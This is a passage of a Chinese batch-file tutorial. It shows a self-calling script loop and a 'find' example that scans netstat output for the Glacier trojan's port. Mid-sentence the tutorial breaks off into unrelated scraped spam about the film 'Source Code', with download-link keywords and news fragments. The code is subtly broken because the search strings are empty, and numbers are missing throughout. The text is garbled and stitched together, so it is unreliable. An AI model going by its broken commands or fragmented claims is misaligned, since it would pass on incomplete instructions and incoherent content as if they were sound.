       给出一个很有意思的脚本,有兴趣的朋友可以实验一下。例十(默认脚本文件名为a.bat):

       call a.bat

       一定要在DOS窗口下执行,否则只会看到一个窗口一闪而过,看不到最后结果。等执行完后,当脚本被执行了次,别忘了想一下到底是为什么!爱情有时候跟这个脚本一样,一旦陷入死循环,最后的结果都是意想不到的。只是爱情,绝对不会等到被毫无理由的循环这么多次,也许在第三次时就出现了love is aborted的提示。

       9、find

       这是一个搜索命令,用来在文件中搜索特定字符串,通常也作为条件判断的铺垫程序(我怎么突然想起了这四个字?)。这个命令单独使用的情况在批处理中是比较少见的,因为没什么实际意义。还是借例三来说明:

       @echo off

       netstat -a -n > a.txt

       type a.txt | find "" && echo "Congratulations! You have infected GLACIER!"

       del a.txt

       pause & exit

       先用netstat命令检查是否有冰河默认的端口在活动,并把结果保存到a.txt中。然后使用type命令列出a.txt中的内容,再在列出的内容中搜索字符串“” ,发现有的话则提示中了冰河,否则退出。看,find命令其实就这么简单,但有一点必须要注意到:如果不使用type命令列出a.txt中的内容,而是直接使用find命令在a.txt中找“”(find a.txt "" && echo "Congratulations! You have infected GLACIER!"),就必须得给

源代码**下载 源代码高清种子 源代码dvd字幕下载 源代码迅雷下载地址

       源代码迅雷下载地址

       **源代码创意堪比盗梦空间

       好莱坞大片源代码月日“悄然”上映,尽管影片获得了媒体与观众的一致好评,但在目前的**市场中,该片的排片远不如变哈(下)蓝精灵等超多场次的首映气势。“一部高智商的科幻惊悚片,-

       源代码:好科幻片不一定光怪陆离环球网

       源代码海报一般能真正征服影迷的科幻片大都是星球大战、星际迷航、阿凡达、黑客帝国这种视觉效果非常突出的巨制,你很难想象一部没有大牌明星压阵,没有天文数字的财力做后盾,-

       工程师**源代码被拘北青网

       一名是世界强IT企业销售精英,年薪超过万,三名是知名企业软件工程师——原本前途远大的后青年,因为想挣外快,便盗窃公司软件源代码提供给第三方。记者上午获悉,海淀警方将这名涉嫌侵犯著作权的嫌疑人抓获。程晓(化名)就职于一家世界强IT技术企业。年月,-

       视频:**源代码片段华尔街日报

       以下是杰克·吉伦希尔(JakeGyllenhaal)主演的**源代码(SourceCode)的片段。吉伦希尔凭借年的断背山获得奥斯卡最佳男配角提名。

       源代码好评不断哲学精英指其欠缺人文关怀

       源代码海报本报记者江波“这部**现在是科幻片,但五六年之后,我觉得一定会变为现实。”读者杜丰兴奋地说。美国科幻片源代码月日起在国内上映后,立刻成为网络新宠。昨天,-

相关栏目:百科